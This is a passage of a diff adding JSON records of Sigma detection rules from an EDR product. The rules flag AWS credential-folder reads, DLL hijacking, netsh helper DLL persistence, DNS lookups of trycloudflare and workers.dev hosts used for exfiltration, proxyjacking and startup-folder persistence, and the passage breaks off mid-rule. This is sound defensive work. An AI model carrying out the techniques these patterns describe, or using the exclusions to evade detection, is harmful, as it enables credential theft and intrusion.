not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fae7a83d-e36c-4641-801d-5ce8281bd8a8",
+  "rule_name": "Suspicious Read Access to User's AWS Configuration Folder",
+  "rule_description": "Detects an attempt to read the contents of the AWS configuration folder.\nAdversaries may access to user's AWS configuration file in order to gather credentials and move to cloud environments.\nIt is recommended to verify if the process performing the read operation has legitimate reason to do it.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2026-02-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "faed7270-aa37-490a-818a-c476a47af917",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608118Z",
+  "creation_date": "2026-03-23T11:45:34.608122Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608129Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide"
+  ],
+  "name": "windows_defender_eventid_1117.yml",
+  "content": "title: Windows Defender has Taken Action against Malware\nid: faed7270-aa37-490a-818a-c476a47af917\ndescription: |\n    Microsoft Defender Antivirus has taken action to protect this machine from malware or other potentially unwanted software.\nreferences:\n    - https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide\ndate: 2021/10/29\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.privilege_escalation\n    - attack.credential_access\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Malware.Generic\nlogsource:\n    product: windows\n    service: defender\ndetection:\n    selection:\n        EventID: 1117\n        Source: Microsoft-Windows-Windows Defender\n\n    condition: selection\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "faed7270-aa37-490a-818a-c476a47af917",
+  "rule_name": "Windows Defender has Taken Action against Malware",
+  "rule_description": "Microsoft Defender Antivirus has taken action to protect this machine from malware or other potentially unwanted software.\n",
+  "rule_creation_date": "2021-10-29",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fb14f890-84e4-4f00-9b82-2a6e82a275f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098003Z",
+  "creation_date": "2026-03-23T11:45:34.098005Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098009Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_k7avmscn.yml",
+  "content": "title: DLL Hijacking via K7AVMScn.exe\nid: fb14f890-84e4-4f00-9b82-2a6e82a275f2\ndescription: |\n    Detects potential Windows DLL Hijacking via K7AVMScn.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.trendmicro.com/en_us/research/23/h/earth-estries-targets-government-tech-for-cyberespionage.html\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2023/09/05\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'K7AVMScn.exe'\n        ImageLoaded|endswith: '\\K7AVWScn.dll'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\K7 Computing\\'\n            - '?:\\Program Files (x86)\\K7 Computing\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\K7 Computing\\'\n            - '?:\\Program Files (x86)\\K7 Computing\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'K7 Computing Pvt Ltd'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fb14f890-84e4-4f00-9b82-2a6e82a275f2",
+  "rule_name": "DLL Hijacking via K7AVMScn.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via K7AVMScn.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-05",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fbb59af6-3665-49a3-9ebb-8c2b47ebd651",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071580Z",
+  "creation_date": "2026-03-23T11:45:34.071582Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071586Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/",
+    "https://attack.mitre.org/software/S0108/"
+  ],
+  "name": "t1546_007_persistence_netsh_dll.yml",
+  "content": "title: Netsh Helper DLL Persistence Added\nid: fbb59af6-3665-49a3-9ebb-8c2b47ebd651\ndescription: |\n    Detects a suspicious persistence via netsh helper DLL.\n    Netsh is a Windows utility which can be used by administrators to perform tasks related to the network configuration of a system.\n    This functionality can be extended with the usage of DLL files and can be used by attackers to load arbitrary DLL’s to achieve code execution and persistence.\n    It is recommended to ensure the legitimacy of the DLL specified in the registry.\nreferences:\n    - https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/\n    - https://attack.mitre.org/software/S0108/\ndate: 2021/04/14\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.007\n    - attack.s0108\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        # Example: \"HKLM\\SOFTWARE\\Microsoft\\NetSh\\my malicious entry\"\n        TargetObject|contains: 'HKLM\\Software\\Microsoft\\NetSh\\'\n\n    exclusion_library:\n        Details:\n            - 'authfwcfg.dll'\n            - 'dhcpcmonitor.dll'\n            - 'dhcpmon.dll'\n            - 'fwcfg.dll'\n            - 'hnetmon.dll'\n            - 'iasmontr.dll'\n            - 'ipmontr.dll'\n            - 'ippromon.dll'\n            - 'netiohlp.dll'\n            - 'netprofm.dll'\n            - 'nettrace.dll'\n            - 'nshdnsclient.dll'\n            - 'nshhttp.dll'\n            - 'nshipsec.dll'\n            - 'nshwfp.dll'\n            - 'peerdistsh.dll'\n            - 'rasmontr.dll'\n            - 'rpcnsh.dll'\n            - 'WcnNetsh.dll'\n            - 'whhelper.dll'\n            - 'wshelper.dll'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fbb59af6-3665-49a3-9ebb-8c2b47ebd651",
+  "rule_name": "Netsh Helper DLL Persistence Added",
+  "rule_description": "Detects a suspicious persistence via netsh helper DLL.\nNetsh is a Windows utility which can be used by administrators to perform tasks related to the network configuration of a system.\nThis functionality can be extended with the usage of DLL files and can be used by attackers to load arbitrary DLL’s to achieve code execution and persistence.\nIt is recommended to ensure the legitimacy of the DLL specified in the registry.\n",
+  "rule_creation_date": "2021-04-14",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.007"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fbd1dd7f-e811-4e68-a60e-275829775734",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603580Z",
+  "creation_date": "2026-03-23T11:45:34.603584Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603591Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.vincentyiu.com/red-team/domain-fronting/trycloudflare-infrastructure-and-domain-fronting",
+    "https://attack.mitre.org/techniques/T1102/002/",
+    "https://attack.mitre.org/techniques/T1090/004/",
+    "https://attack.mitre.org/techniques/T1048/003/"
+  ],
+  "name": "t1102_002_susp_domain_dns.yml",
+  "content": "title: Suspicious Domain Name Resolved\nid: fbd1dd7f-e811-4e68-a60e-275829775734\ndescription: |\n    Detects a DNS resolution by an uncommon process to web services commonly used by attackers to exfiltrate or download malicious binaries.\n    Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.\n    It is recommended to check if the process has legitimate reason to communicate with the service.\nreferences:\n    - https://www.vincentyiu.com/red-team/domain-fronting/trycloudflare-infrastructure-and-domain-fronting\n    - https://attack.mitre.org/techniques/T1102/002/\n    - https://attack.mitre.org/techniques/T1090/004/\n    - https://attack.mitre.org/techniques/T1048/003/\ndate: 2024/09/10\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102.002\n    - attack.t1090.004\n    - attack.t1071.004\n    - attack.exfiltration\n    - attack.t1048.003\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName|endswith:\n            - '.trycloudflare.com'\n            - '.pages.dev'\n            - '.w3spaces.com'\n            - '.workers.dev'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_misc_windows:\n        ProcessImage:\n            - '?:\\Windows\\System32\\PING.EXE'\n            - '?:\\Windows\\SysWOW64\\PING.EXE'\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\SysWOW64\\ipconfig.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiApSrv.exe'\n            - '?:\\Windows\\System32\\smartscreen.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_firefox:\n        Image|endswith: '\\firefox.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Mozilla Corporation'\n\n    exclusion_chrome:\n        Image|endswith: '\\chrome.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Google Inc'\n            - 'Google LLC'\n\n    exclusion_misc_browser:\n        - Image|endswith: '\\brave.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Brave Software, Inc.'\n        - Image|endswith: '\\Application\\vivaldi.exe'\n        - Image|endswith: '\\opera.exe'\n          ProcessSigned: 'true'\n          ProcessSignature:\n            - 'Opera Norway AS'\n            - 'Opera Software AS'\n        - Image|endswith: '\\Chromium\\thorium.exe'\n        - Image|endswith: '\\SmartBrowser-Blink.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'OODRIVE S.A.S.'\n        - Image|endswith:\n            - '\\chromium\\chromium.exe'\n            - '\\Chromium\\Application\\chrome.exe'\n            - '\\GoogleChromePortable\\App\\Chrome-bin\\chrome.exe'\n        - Image|endswith:\n            - '\\jxbrowser\\chromium.exe'\n            - '\\jxbrowser64\\chromium.exe'\n        - ProcessOriginalFileName: 'zen.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Open Source Developer, OSCAR GONZALEZ MORENO'\n        - Image|endswith: '\\MicrosoftEdgeCP.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Microsoft Windows'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\NisSrv.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\\\*\\MsSense.exe'\n        ProcessSignature :\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_ublock:\n        QueryName:\n            - 'ublockorigin.pages.dev'\n            - 'malware-filter.pages.dev'\n            - 'phishing-filter.pages.dev'\n\n    exclusion_speedtest:\n        ProcessName: 'speedtest.exe'\n        QueryName: 'orus.pages.dev'\n\n    exclusion_genapi:\n        Image|endswith: '\\GenApi.iNot.Client.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'GENAPI (Septeo Solutions Notaires  SAS)'\n\n    exclusion_postman:\n        ProcessImage|endswith: '\\Postman.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Postman, Inc.'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fbd1dd7f-e811-4e68-a60e-275829775734",
+  "rule_name": "Suspicious Domain Name Resolved",
+  "rule_description": "Detects a DNS resolution by an uncommon process to web services commonly used by attackers to exfiltrate or download malicious binaries.\nAdversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.\nIt is recommended to check if the process has legitimate reason to communicate with the service.\n",
+  "rule_creation_date": "2024-09-10",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.003",
+    "attack.t1071.004",
+    "attack.t1090.004",
+    "attack.t1102.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fbd6b8c0-1a30-46d6-8622-3e3f251c8be0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613658Z",
+  "creation_date": "2026-03-23T11:45:34.613662Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613669Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking",
+    "https://www.trendmicro.com/en_gb/research/23/b/hijacking-your-bandwidth-how-proxyware-apps-open-you-up-to-risk.html",
+    "https://attack.mitre.org/techniques/T1496/"
+  ],
+  "name": "t1496_speedshare.yml",
+  "content": "title: SpeedShare Executed\nid: fbd6b8c0-1a30-46d6-8622-3e3f251c8be0\ndescription: |\n    Detects the usage of SpeedShare, a bandwidth monetization platform similar to Traffmonetizer.\n    Attackers can use this tool to perform Proxyjacking, a form of cyber exploitation where an attacker hijacks a user's Internet connection to use it as a proxy server for malicious purposes or illegal monetization.\n    It is recommended to verify if the usage of this tool is legitimate.\nreferences:\n    - https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking\n    - https://www.trendmicro.com/en_gb/research/23/b/hijacking-your-bandwidth-how-proxyware-apps-open-you-up-to-risk.html\n    - https://attack.mitre.org/techniques/T1496/\ndate: 2024/09/26\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1496\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.PUA.SpeedShare\n    - classification.Linux.Behavior.SystemModification\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains: '/spdcli connect -p '\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fbd6b8c0-1a30-46d6-8622-3e3f251c8be0",
+  "rule_name": "SpeedShare Executed",
+  "rule_description": "Detects the usage of SpeedShare, a bandwidth monetization platform similar to Traffmonetizer.\nAttackers can use this tool to perform Proxyjacking, a form of cyber exploitation where an attacker hijacks a user's Internet connection to use it as a proxy server for malicious purposes or illegal monetization.\nIt is recommended to verify if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fc3a404c-7d79-4d07-975a-c7ccf40276cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620449Z",
+  "creation_date": "2026-03-23T11:45:34.620451Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620455Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_persistence_file_startup.yml",
+  "content": "title: File Added/Modified in Startup Directory\nid: fc3a404c-7d79-4d07-975a-c7ccf40276cf\ndescription: |\n    Detects when a file is added or modified in the startup directory.\n    Adversaries may achieve persistence by adding a program to a startup folder.\n    It is recommended to investigate the content of the newly created file to determine if this action was legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2020/09/24\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|contains:\n            - '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'  # individual user : c:\\users\\xxx\\appdata\\...\n            - '\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\'  # all users\n        ProcessParentImage|startswith: '?:\\'\n\n    filter_directory:\n        Path|endswith:\n            - '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'\n            - '\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp'\n\n    exclusion_bad_extensions:\n        Path|endswith:\n            # ransomware activity for instance (\\!!!_READ_ME_A327C166_!!!.txt)\n            - '.txt'\n            - 'desktop.ini'\n            - '\\bginfo.lnk'\n\n    exclusion_system:\n        ProcessName: 'system'\n        ProcessId: '4'\n\n    exclusion_grouppolicy:\n    # we need to WL svchost.exe with ProfSvc or gpsvc or GPSvcGroup in the command-line but we currently don\"t have this field in sigma for this event\n    # C:\\windows\\system32\\svchost.exe -k GPSvcGroup\n        Image:\n            - '?:\\windows\\system32\\svchost.exe'\n            - '?:\\windows\\syswow64\\svchost.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_parent:\n        ProcessParentImage:\n            - '?:\\Program Files\\Synology\\SynologyDrive\\bin\\launcher.exe'\n            - '?:\\Program Files (x86)\\Synology\\SynologyDrive\\bin\\launcher.exe'\n            - '?:\\Program Files\\Synology\\CloudStation\\bin\\launcher.exe'\n            - '?:\\Program Files (x86)\\Synology\\CloudStation\\bin\\launcher.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pfwsmgr.exe'\n            - '?:\\Program Files (x86)\\LANDesk\\LDClient\\sdistps1.exe'\n            - '?:\\Program Files (x86)\\Zebra Technologies\\Zebra Setup Utilities\\Driver\\ZBRN\\StatMonSetup.exe'\n\n    exclusion_onenote:\n        Image:\n            - '*\\office1?\\OneNote.exe'  # C:\\Program Files (x86)\\Microsoft Office\\Office16\\ONENOTE.EXE / C:\\PROGRA~2\\MICROS~2\\Office16\\ONENOTE.EXE\n            - '?:\\Windows\\System32\\dllhost.exe'  #  C:\\Windows\\system32\\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}\n            - '?:\\program files\\citrix\\user profile manager\\userprofilemanager.exe'\n            - '?:\\windows\\explorer.exe'\n        Path:\n            - '*OneNote.lnk'  # Envoyer a OneNote.lnk / Send to OneNote.lnk\n            - '*\\an onenote senden.lnk'\n            - '*\\OneNote ???? *.lnk' # OneNote 2010 Screen Clipper and Launcher.lnk / OneNote 2010 - Capture d'ecran et lancement.lnk\n\n    exclusion_dropbox:\n        # D:\\Profils\\XXXX\\AppData\\Roaming\\Dropbox\\bin\\Dropbox.exe\n        Path|endswith: '\\Dropbox.lnk'\n        Image: '*\\Dropbox.exe'\n\n    exclusion_msdefender:\n        # Microsoft System Center Data Protection Manager\n        Path|endswith: '\\msdefender.jse'\n        # image:  C:\\Program Files\\Microsoft System Center\\DPM\\DPM\\bin\\DPMRA.exe\n        # Path : C:\\Program Files\\Microsoft System Center\\DPM\\DPM\\Volumes\\Replica\\fdb3ead7-18a0-49a2-9de1-673e839a8b4e\\c66eb42f-e32b-4913-9459-67d54ed0049a\\Full\\ee5f7c51-a500-4723-9084-bdadfb26e458\\Full\\Profils\\xxxxx\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\msdefender.jse\n        Image: '*\\DPMRA.exe'\n\n    exclusion_anydesk:\n        Path|endswith: '\\AnyDesk.lnk'\n        ProcessProduct: 'AnyDesk'\n\n    exclusion_parallels:\n        Path|endswith: '\\Parallels Client.lnk'\n        # Image:  '?:\\Program Files\\Parallels\\Client\\APPServerClient.exe'\n\n    exclusion_msiexec:\n        Image|endswith: '\\msiexec.exe'\n        ProcessOriginalFileName: 'msiexec.exe'\n        ProcessCommandLine|endswith: '\\msiexec.exe /V'\n        ProcessParentImage|endswith: '\\services.exe'\n\n    exclusion_ocsinventory:\n        # also seen: OCS-NG-Windows-Agent-Setup.exe\n        # Image|endswith: '\\OcsSetup.exe'\n        ProcessCompany:\n            - 'OCS Inventory NG Team'\n            - 'OCS Inventory Team'\n        Path|endswith: '\\OCS Inventory NG Systray.lnk'\n\n    exclusion_setuphost:\n        # C:\\$WINDOWS.~BT\\Sources\\setuphost.exe\n        Image: '?:\\\\?WINDOWS.~BT\\Sources\\setuphost.exe'\n        # C:\\Windows\\SoftwareDistribution\\Download\\065fd01c95189f768f95256d0434663a\\WindowsUpdateBox.exe\n        # F:\\_SMSTaskSequence\\Packages\\AXN001B9\\sources\\setupprep.exe\n        ProcessParentImage:\n            - '?:\\Windows\\SoftwareDistribution\\Download\\\\*\\WindowsUpdateBox.exe'\n            - '*\\sources\\setupprep.exe'\n\n    exclusion_synology:\n        ProcessParentImage|endswith: '\\AppData\\Local\\SynologyDrive\\SynologyDrive.app\\bin\\cloud-drive-ui.exe'\n        Path|endswith: '\\Synology Drive Client.lnk'\n\n    exclusion_citrix:\n        Image: '*\\AppData\\Local\\Citrix\\SelfService\\Program 